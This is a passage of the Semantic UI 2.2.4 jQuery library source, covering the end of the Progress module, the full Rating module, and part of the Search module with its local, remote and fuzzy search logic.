            text = settings.onLabelUpdate('active', text, module.value, module.total);
            if(text) {
              module.set.label(text);
            }
            $bar.one(transitionEnd + eventNamespace, function() {
              settings.onActive.call(element, module.value, module.total);
            });
          },
          success : function(text) {
            text = text || settings.text.success || settings.text.active;
            module.debug('Setting success state');
            $module.addClass(className.success);
            module.remove.active();
            module.remove.warning();
            module.remove.error();
            module.complete();
            if(settings.text.success) {
              text = settings.onLabelUpdate('success', text, module.value, module.total);
              module.set.label(text);
            }
            else {
              text = settings.onLabelUpdate('active', text, module.value, module.total);
              module.set.label(text);
            }
            $bar.one(transitionEnd + eventNamespace, function() {
              settings.onSuccess.call(element, module.total);
            });
          },
          warning : function(text) {
            text = text || settings.text.warning;
            module.debug('Setting warning state');
            $module.addClass(className.warning);
            module.remove.active();
            module.remove.success();
            module.remove.error();
            module.complete();
            text = settings.onLabelUpdate('warning', text, module.value, module.total);
            if(text) {
              module.set.label(text);
            }
            $bar.one(transitionEnd + eventNamespace, function() {
              settings.onWarning.call(element, module.value, module.total);
            });
          },
          error : function(text) {
            text = text || settings.text.error;
            module.debug('Setting error state');
            $module.addClass(className.error);
            module.remove.active();
            module.remove.success();
            module.remove.warning();
            module.complete();
            text = settings.onLabelUpdate('error', text, module.value, module.total);
            if(text) {
              module.set.label(text);
            }
            $bar.one(transitionEnd + eventNamespace, function() {
              settings.onError.call(element, module.value, module.total);
            });
          },
          transitionEvent: function() {
            transitionEnd = module.get.transitionEnd();
          },
          total: function(totalValue) {
            module.total = totalValue;
          },
          value: function(value) {
            module.value = value;
          },
          progress: function(value) {
            if(!module.has.progressPoll()) {
              module.debug('First update in progress update interval, immediately updating', value);
              module.update.progress(value);
              module.create.progressPoll();
            }
            else {
              module.debug('Updated within interval, setting next update to use new value', value);
              module.set.nextValue(value);
            }
          },
          nextValue: function(value) {
            module.nextValue = value;
          }
        },

        update: {
          toNextValue: function() {
            var
              nextValue = module.nextValue
            ;
            if(nextValue) {
              module.debug('Update interval complete using last updated value', nextValue);
              module.update.progress(nextValue);
              module.remove.nextValue();
            }
          },
          progress: function(value) {
            var
              percentComplete
            ;
            value = module.get.numericValue(value);
            if(value === false) {
              module.error(error.nonNumeric, value);
            }
            value = module.get.normalizedValue(value);
            if( module.has.total() ) {
              module.set.value(value);
              percentComplete = (value / module.total) * 100;
              module.debug('Calculating percent complete from total', percentComplete);
              module.set.percent( percentComplete );
            }
            else {
              percentComplete = value;
              module.debug('Setting value to exact percentage value', percentComplete);
              module.set.percent( percentComplete );
            }
          }
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.progress.settings = {

  name         : 'Progress',
  namespace    : 'progress',

  silent       : false,
  debug        : false,
  verbose      : false,
  performance  : true,

  random       : {
    min : 2,
    max : 5
  },

  duration       : 300,

  updateInterval : 'auto',

  autoSuccess    : true,
  showActivity   : true,
  limitValues    : true,

  label          : 'percent',
  precision      : 0,
  framerate      : (1000 / 30), /// 30 fps

  percent        : false,
  total          : false,
  value          : false,

  onLabelUpdate : function(state, text, value, total){
    return text;
  },
  onChange      : function(percent, value, total){},
  onSuccess     : function(total){},
  onActive      : function(value, total){},
  onError       : function(value, total){},
  onWarning     : function(value, total){},

  error    : {
    method     : 'The method you called is not defined.',
    nonNumeric : 'Progress value is non numeric',
    tooHigh    : 'Value specified is above 100%',
    tooLow     : 'Value specified is below 0%'
  },

  regExp: {
    variable: /\{\$*[A-z0-9]+\}/g
  },

  metadata: {
    percent : 'percent',
    total   : 'total',
    value   : 'value'
  },

  selector : {
    bar      : '> .bar',
    label    : '> .label',
    progress : '.bar > .progress'
  },

  text : {
    active  : false,
    error   : false,
    success : false,
    warning : false,
    percent : '{percent}%',
    ratio   : '{value} of {total}'
  },

  className : {
    active  : 'active',
    error   : 'error',
    success : 'success',
    warning : 'warning'
  }

};


})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Rating
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.rating = function(parameters) {
  var
    $allModules     = $(this),
    moduleSelector  = $allModules.selector || '',

    time            = new Date().getTime(),
    performance     = [],

    query           = arguments[0],
    methodInvoked   = (typeof query == 'string'),
    queryArguments  = [].slice.call(arguments, 1),
    returnedValue
  ;
  $allModules
    .each(function() {
      var
        settings        = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.rating.settings, parameters)
          : $.extend({}, $.fn.rating.settings),

        namespace       = settings.namespace,
        className       = settings.className,
        metadata        = settings.metadata,
        selector        = settings.selector,
        error           = settings.error,

        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,

        element         = this,
        instance        = $(this).data(moduleNamespace),

        $module         = $(this),
        $icon           = $module.find(selector.icon),

        initialLoad,
        module
      ;

      module = {

        initialize: function() {
          module.verbose('Initializing rating module', settings);

          if($icon.length === 0) {
            module.setup.layout();
          }

          if(settings.interactive) {
            module.enable();
          }
          else {
            module.disable();
          }
          module.set.initialLoad();
          module.set.rating( module.get.initialRating() );
          module.remove.initialLoad();
          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Instantiating module', settings);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },

        destroy: function() {
          module.verbose('Destroying previous instance', instance);
          module.remove.events();
          $module
            .removeData(moduleNamespace)
          ;
        },

        refresh: function() {
          $icon   = $module.find(selector.icon);
        },

        setup: {
          layout: function() {
            var
              maxRating = module.get.maxRating(),
              html      = $.fn.rating.settings.templates.icon(maxRating)
            ;
            module.debug('Generating icon html dynamically');
            $module
              .html(html)
            ;
            module.refresh();
          }
        },

        event: {
          mouseenter: function() {
            var
              $activeIcon = $(this)
            ;
            $activeIcon
              .nextAll()
                .removeClass(className.selected)
            ;
            $module
              .addClass(className.selected)
            ;
            $activeIcon
              .addClass(className.selected)
                .prevAll()
                .addClass(className.selected)
            ;
          },
          mouseleave: function() {
            $module
              .removeClass(className.selected)
            ;
            $icon
              .removeClass(className.selected)
            ;
          },
          click: function() {
            var
              $activeIcon   = $(this),
              currentRating = module.get.rating(),
              rating        = $icon.index($activeIcon) + 1,
              canClear      = (settings.clearable == 'auto')
               ? ($icon.length === 1)
               : settings.clearable
            ;
            if(canClear && currentRating == rating) {
              module.clearRating();
            }
            else {
              module.set.rating( rating );
            }
          }
        },

        clearRating: function() {
          module.debug('Clearing current rating');
          module.set.rating(0);
        },

        bind: {
          events: function() {
            module.verbose('Binding events');
            $module
              .on('mouseenter' + eventNamespace, selector.icon, module.event.mouseenter)
              .on('mouseleave' + eventNamespace, selector.icon, module.event.mouseleave)
              .on('click'      + eventNamespace, selector.icon, module.event.click)
            ;
          }
        },

        remove: {
          events: function() {
            module.verbose('Removing events');
            $module
              .off(eventNamespace)
            ;
          },
          initialLoad: function() {
            initialLoad = false;
          }
        },

        enable: function() {
          module.debug('Setting rating to interactive mode');
          module.bind.events();
          $module
            .removeClass(className.disabled)
          ;
        },

        disable: function() {
          module.debug('Setting rating to read-only mode');
          module.remove.events();
          $module
            .addClass(className.disabled)
          ;
        },

        is: {
          initialLoad: function() {
            return initialLoad;
          }
        },

        get: {
          initialRating: function() {
            if($module.data(metadata.rating) !== undefined) {
              $module.removeData(metadata.rating);
              return $module.data(metadata.rating);
            }
            return settings.initialRating;
          },
          maxRating: function() {
            if($module.data(metadata.maxRating) !== undefined) {
              $module.removeData(metadata.maxRating);
              return $module.data(metadata.maxRating);
            }
            return settings.maxRating;
          },
          rating: function() {
            var
              currentRating = $icon.filter('.' + className.active).length
            ;
            module.verbose('Current rating retrieved', currentRating);
            return currentRating;
          }
        },

        set: {
          rating: function(rating) {
            var
              ratingIndex = (rating - 1 >= 0)
                ? (rating - 1)
                : 0,
              $activeIcon = $icon.eq(ratingIndex)
            ;
            $module
              .removeClass(className.selected)
            ;
            $icon
              .removeClass(className.selected)
              .removeClass(className.active)
            ;
            if(rating > 0) {
              module.verbose('Setting current rating to', rating);
              $activeIcon
                .prevAll()
                .addBack()
                  .addClass(className.active)
              ;
            }
            if(!module.is.initialLoad()) {
              settings.onRate.call(element, rating);
            }
          },
          initialLoad: function() {
            initialLoad = true;
          }
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if($allModules.length > 1) {
              title += ' ' + '(' + $allModules.length + ')';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };
      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.rating.settings = {

  name          : 'Rating',
  namespace     : 'rating',

  slent         : false,
  debug         : false,
  verbose       : false,
  performance   : true,

  initialRating : 0,
  interactive   : true,
  maxRating     : 4,
  clearable     : 'auto',

  fireOnInit    : false,

  onRate        : function(rating){},

  error         : {
    method    : 'The method you called is not defined',
    noMaximum : 'No maximum rating specified. Cannot generate HTML automatically'
  },


  metadata: {
    rating    : 'rating',
    maxRating : 'maxRating'
  },

  className : {
    active   : 'active',
    disabled : 'disabled',
    selected : 'selected',
    loading  : 'loading'
  },

  selector  : {
    icon : '.icon'
  },

  templates: {
    icon: function(maxRating) {
      var
        icon = 1,
        html = ''
      ;
      while(icon <= maxRating) {
        html += '<i class="icon"></i>';
        icon++;
      }
      return html;
    }
  }

};

})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Search
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.search = function(parameters) {
  var
    $allModules     = $(this),
    moduleSelector  = $allModules.selector || '',

    time            = new Date().getTime(),
    performance     = [],

    query           = arguments[0],
    methodInvoked   = (typeof query == 'string'),
    queryArguments  = [].slice.call(arguments, 1),
    returnedValue
  ;
  $(this)
    .each(function() {
      var
        settings          = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.search.settings, parameters)
          : $.extend({}, $.fn.search.settings),

        className       = settings.className,
        metadata        = settings.metadata,
        regExp          = settings.regExp,
        fields          = settings.fields,
        selector        = settings.selector,
        error           = settings.error,
        namespace       = settings.namespace,

        eventNamespace  = '.' + namespace,
        moduleNamespace = namespace + '-module',

        $module         = $(this),
        $prompt         = $module.find(selector.prompt),
        $searchButton   = $module.find(selector.searchButton),
        $results        = $module.find(selector.results),
        $result         = $module.find(selector.result),
        $category       = $module.find(selector.category),

        element         = this,
        instance        = $module.data(moduleNamespace),

        disabledBubbled = false,

        module
      ;

      module = {

        initialize: function() {
          module.verbose('Initializing module');
          module.determine.searchFields();
          module.bind.events();
          module.set.type();
          module.create.results();
          module.instantiate();
        },
        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },
        destroy: function() {
          module.verbose('Destroying instance');
          $module
            .off(eventNamespace)
            .removeData(moduleNamespace)
          ;
        },

        refresh: function() {
          module.debug('Refreshing selector cache');
          $prompt         = $module.find(selector.prompt);
          $searchButton   = $module.find(selector.searchButton);
          $category       = $module.find(selector.category);
          $results        = $module.find(selector.results);
          $result         = $module.find(selector.result);
        },

        refreshResults: function() {
          $results = $module.find(selector.results);
          $result  = $module.find(selector.result);
        },

        bind: {
          events: function() {
            module.verbose('Binding events to search');
            if(settings.automatic) {
              $module
                .on(module.get.inputEvent() + eventNamespace, selector.prompt, module.event.input)
              ;
              $prompt
                .attr('autocomplete', 'off')
              ;
            }
            $module
              // prompt
              .on('focus'     + eventNamespace, selector.prompt, module.event.focus)
              .on('blur'      + eventNamespace, selector.prompt, module.event.blur)
              .on('keydown'   + eventNamespace, selector.prompt, module.handleKeyboard)
              // search button
              .on('click'     + eventNamespace, selector.searchButton, module.query)
              // results
              .on('mousedown' + eventNamespace, selector.results, module.event.result.mousedown)
              .on('mouseup'   + eventNamespace, selector.results, module.event.result.mouseup)
              .on('click'     + eventNamespace, selector.result,  module.event.result.click)
            ;
          }
        },

        determine: {
          searchFields: function() {
            // this makes sure $.extend does not add specified search fields to default fields
            // this is the only setting which should not extend defaults
            if(parameters && parameters.searchFields !== undefined) {
              settings.searchFields = parameters.searchFields;
            }
          }
        },

        event: {
          input: function() {
            clearTimeout(module.timer);
            module.timer = setTimeout(module.query, settings.searchDelay);
          },
          focus: function() {
            module.set.focus();
            if( module.has.minimumCharacters() ) {
              module.query();
              if( module.can.show() ) {
                module.showResults();
              }
            }
          },
          blur: function(event) {
            var
              pageLostFocus = (document.activeElement === this),
              callback      = function() {
                module.cancel.query();
                module.remove.focus();
                module.timer = setTimeout(module.hideResults, settings.hideDelay);
              }
            ;
            if(pageLostFocus) {
              return;
            }
            if(module.resultsClicked) {
              module.debug('Determining if user action caused search to close');
              $module
                .one('click.close' + eventNamespace, selector.results, function(event) {
                  if(module.is.inMessage(event) || disabledBubbled) {
                    $prompt.focus();
                    return;
                  }
                  disabledBubbled = false;
                  if( !module.is.animating() && !module.is.hidden()) {
                    callback();
                  }
                })
              ;
            }
            else {
              module.debug('Input blurred without user action, closing results');
              callback();
            }
          },
          result: {
            mousedown: function() {
              module.resultsClicked = true;
            },
            mouseup: function() {
              module.resultsClicked = false;
            },
            click: function(event) {
              module.debug('Search result selected');
              var
                $result = $(this),
                $title  = $result.find(selector.title).eq(0),
                $link   = $result.is('a[href]')
                  ? $result
                  : $result.find('a[href]').eq(0),
                href    = $link.attr('href')   || false,
                target  = $link.attr('target') || false,
                title   = $title.html(),
                // title is used for result lookup
                value   = ($title.length > 0)
                  ? $title.text()
                  : false,
                results = module.get.results(),
                result  = $result.data(metadata.result) || module.get.result(value, results),
                returnedValue
              ;
              if( $.isFunction(settings.onSelect) ) {
                if(settings.onSelect.call(element, result, results) === false) {
                  module.debug('Custom onSelect callback cancelled default select action');
                  disabledBubbled = true;
                  return;
                }
              }
              module.hideResults();
              if(value) {
                module.set.value(value);
              }
              if(href) {
                module.verbose('Opening search link found in result', $link);
                if(target == '_blank' || event.ctrlKey) {
                  window.open(href);
                }
                else {
                  window.location.href = (href);
                }
              }
            }
          }
        },
        handleKeyboard: function(event) {
          var
            // force selector refresh
            $result      = $module.find(selector.result),
            $category    = $module.find(selector.category),
            currentIndex = $result.index( $result.filter('.' + className.active) ),
            resultSize   = $result.length,

            keyCode      = event.which,
            keys         = {
              backspace : 8,
              enter     : 13,
              escape    : 27,
              upArrow   : 38,
              downArrow : 40
            },
            newIndex
          ;
          // search shortcuts
          if(keyCode == keys.escape) {
            module.verbose('Escape key pressed, blurring search field');
            module.trigger.blur();
          }
          if( module.is.visible() ) {
            if(keyCode == keys.enter) {
              module.verbose('Enter key pressed, selecting active result');
              if( $result.filter('.' + className.active).length > 0 ) {
                module.event.result.click.call($result.filter('.' + className.active), event);
                event.preventDefault();
                return false;
              }
            }
            else if(keyCode == keys.upArrow) {
              module.verbose('Up key pressed, changing active result');
              newIndex = (currentIndex - 1 < 0)
                ? currentIndex
                : currentIndex - 1
              ;
              $category
                .removeClass(className.active)
              ;
              $result
                .removeClass(className.active)
                .eq(newIndex)
                  .addClass(className.active)
                  .closest($category)
                    .addClass(className.active)
              ;
              event.preventDefault();
            }
            else if(keyCode == keys.downArrow) {
              module.verbose('Down key pressed, changing active result');
              newIndex = (currentIndex + 1 >= resultSize)
                ? currentIndex
                : currentIndex + 1
              ;
              $category
                .removeClass(className.active)
              ;
              $result
                .removeClass(className.active)
                .eq(newIndex)
                  .addClass(className.active)
                  .closest($category)
                    .addClass(className.active)
              ;
              event.preventDefault();
            }
          }
          else {
            // query shortcuts
            if(keyCode == keys.enter) {
              module.verbose('Enter key pressed, executing query');
              module.query();
              module.set.buttonPressed();
              $prompt.one('keyup', module.remove.buttonFocus);
            }
          }
        },

        setup: {
          api: function(searchTerm) {
            var
              apiSettings = {
                debug             : settings.debug,
                on                : false,
                cache             : true,
                action            : 'search',
                urlData           : {
                  query : searchTerm
                },
                onSuccess         : function(response) {
                  module.parse.response.call(element, response, searchTerm);
                },
                onAbort           : function(response) {
                },
                onFailure         : function() {
                  module.displayMessage(error.serverError);
                },
                onError           : module.error
              },
              searchHTML
            ;
            $.extend(true, apiSettings, settings.apiSettings);
            module.verbose('Setting up API request', apiSettings);
            $module.api(apiSettings);
          }
        },

        can: {
          useAPI: function() {
            return $.fn.api !== undefined;
          },
          show: function() {
            return module.is.focused() && !module.is.visible() && !module.is.empty();
          },
          transition: function() {
            return settings.transition && $.fn.transition !== undefined && $module.transition('is supported');
          }
        },

        is: {
          animating: function() {
            return $results.hasClass(className.animating);
          },
          hidden: function() {
            return $results.hasClass(className.hidden);
          },
          inMessage: function(event) {
            return (event.target && $(event.target).closest(selector.message).length > 0);
          },
          empty: function() {
            return ($results.html() === '');
          },
          visible: function() {
            return ($results.filter(':visible').length > 0);
          },
          focused: function() {
            return ($prompt.filter(':focus').length > 0);
          }
        },

        trigger: {
          blur: function() {
            var
              events        = document.createEvent('HTMLEvents'),
              promptElement = $prompt[0]
            ;
            if(promptElement) {
              module.verbose('Triggering native blur event');
              events.initEvent('blur', false, false);
              promptElement.dispatchEvent(events);
            }
          }
        },

        get: {
          inputEvent: function() {
            var
              prompt = $prompt[0],
              inputEvent   = (prompt !== undefined && prompt.oninput !== undefined)
                ? 'input'
                : (prompt !== undefined && prompt.onpropertychange !== undefined)
                  ? 'propertychange'
                  : 'keyup'
            ;
            return inputEvent;
          },
          value: function() {
            return $prompt.val();
          },
          results: function() {
            var
              results = $module.data(metadata.results)
            ;
            return results;
          },
          result: function(value, results) {
            var
              lookupFields = ['title', 'id'],
              result       = false
            ;
            value = (value !== undefined)
              ? value
              : module.get.value()
            ;
            results = (results !== undefined)
              ? results
              : module.get.results()
            ;
            if(settings.type === 'category') {
              module.debug('Finding result that matches', value);
              $.each(results, function(index, category) {
                if($.isArray(category.results)) {
                  result = module.search.object(value, category.results, lookupFields)[0];
                  // don't continue searching if a result is found
                  if(result) {
                    return false;
                  }
                }
              });
            }
            else {
              module.debug('Finding result in results object', value);
              result = module.search.object(value, results, lookupFields)[0];
            }
            return result || false;
          },
        },

        select: {
          firstResult: function() {
            module.verbose('Selecting first result');
            $result.first().addClass(className.active);
          }
        },

        set: {
          focus: function() {
            $module.addClass(className.focus);
          },
          loading: function() {
            $module.addClass(className.loading);
          },
          value: function(value) {
            module.verbose('Setting search input value', value);
            $prompt
              .val(value)
            ;
          },
          type: function(type) {
            type = type || settings.type;
            if(settings.type == 'category') {
              $module.addClass(settings.type);
            }
          },
          buttonPressed: function() {
            $searchButton.addClass(className.pressed);
          }
        },

        remove: {
          loading: function() {
            $module.removeClass(className.loading);
          },
          focus: function() {
            $module.removeClass(className.focus);
          },
          buttonPressed: function() {
            $searchButton.removeClass(className.pressed);
          }
        },

        query: function() {
          var
            searchTerm = module.get.value(),
            cache = module.read.cache(searchTerm)
          ;
          if( module.has.minimumCharacters() )  {
            if(cache) {
              module.debug('Reading result from cache', searchTerm);
              module.save.results(cache.results);
              module.addResults(cache.html);
              module.inject.id(cache.results);
            }
            else {
              module.debug('Querying for', searchTerm);
              if($.isPlainObject(settings.source) || $.isArray(settings.source)) {
                module.search.local(searchTerm);
              }
              else if( module.can.useAPI() ) {
                module.search.remote(searchTerm);
              }
              else {
                module.error(error.source);
              }
            }
            settings.onSearchQuery.call(element, searchTerm);
          }
          else {
            module.hideResults();
          }
        },

        search: {
          local: function(searchTerm) {
            var
              results = module.search.object(searchTerm, settings.content),
              searchHTML
            ;
            module.set.loading();
            module.save.results(results);
            module.debug('Returned local search results', results);

            searchHTML = module.generateResults({
              results: results
            });
            module.remove.loading();
            module.addResults(searchHTML);
            module.inject.id(results);
            module.write.cache(searchTerm, {
              html    : searchHTML,
              results : results
            });
          },
          remote: function(searchTerm) {
            if($module.api('is loading')) {
              $module.api('abort');
            }
            module.setup.api(searchTerm);
            $module
              .api('query')
            ;
          },
          object: function(searchTerm, source, searchFields) {
            var
              results      = [],
              fuzzyResults = [],
              searchExp    = searchTerm.toString().replace(regExp.escape, '\\$&'),
              matchRegExp  = new RegExp(regExp.beginsWith + searchExp, 'i'),

              // avoid duplicates when pushing results
              addResult = function(array, result) {
                var
                  notResult      = ($.inArray(result, results) == -1),
                  notFuzzyResult = ($.inArray(result, fuzzyResults) == -1)
                ;
                if(notResult && notFuzzyResult) {
                  array.push(result);
                }
              }
            ;
            source = source || settings.source;
            searchFields = (searchFields !== undefined)
              ? searchFields
              : settings.searchFields
            ;

            // search fields should be array to loop correctly
            if(!$.isArray(searchFields)) {
              searchFields = [searchFields];
            }

            // exit conditions if no source
            if(source === undefined || source === false) {
              module.error(error.source);
              return [];
            }

            // iterate through search fields looking for matches
            $.each(searchFields, function(index, field) {
              $.each(source, function(label, content) {
                var
                  fieldExists = (typeof content[field] == 'string')
                ;
                if(fieldExists) {
                  if( content[field].search(matchRegExp) !== -1) {
                    // content starts with value (first in results)
                    addResult(results, content);
                  }
                  else if(settings.searchFullText && module.fuzzySearch(searchTerm, content[field]) ) {
                    // content fuzzy matches (last in results)
                    addResult(fuzzyResults, content);
                  }
                }
              });
            });
            return $.merge(results, fuzzyResults);
          }
        },

        fuzzySearch: function(query, term) {
          var
            termLength  = term.length,
            queryLength = query.length
          ;
          if(typeof query !== 'string') {
            return false;
          }
          query = query.toLowerCase();
          term  = term.toLowerCase();
          if(queryLength > termLength) {
            return false;
          }
          if(queryLength === termLength) {
            return (query === term);
          }
          search: for (var characterIndex = 0, nextCharacterIndex = 0; characterIndex < queryLength; characterIndex++) {
            var
              queryCharacter = query.charCodeAt(characterIndex)
            ;
            while(nextCharacterIndex < termLength) {
              if(term.charCodeAt(nextCharacterIndex++) === queryCharacter) {
                continue search;
              }
            }
            return false;
          }
          return true;
        },

        parse: {
          response: function(response, searchTerm) {
            var
              searchHTML = module.generateResults(response)
            ;
            module.verbose('Parsing server response', response);
            if(response !== undefined) {
              if(searchTerm !== undefined && response[fields.results] !== undefined) {
                module.addResults(searchHTML);
                module.inject.id(response[fields.results]);
                module.write.cache(searchTerm, {
                  html    : searchHTML,
                  results : response[fields.results]
                });
                module.save.results(response[fields.results]);
              }
            }
          }
        },

        cancel: {
          query: function() {
            if( module.can.useAPI() ) {
              $module.api('abort');
            }
          }
        },

        has: {
          minimumCharacters: function() {
            var
              searchTerm    = module.get.value(),
              numCharacters = searchTerm.length
            ;
            return (numCharacters >= settings.minCharacters);
          }
        },

        clear: {
          cache: function(value) {
            var
              cache = $module.data(metadata.cache)
            ;
            if(!value) {
              module.debug('Clearing cache', value);
              $module.removeData(metadata.cache);
            }
            else if(value && cache && cache[value]) {
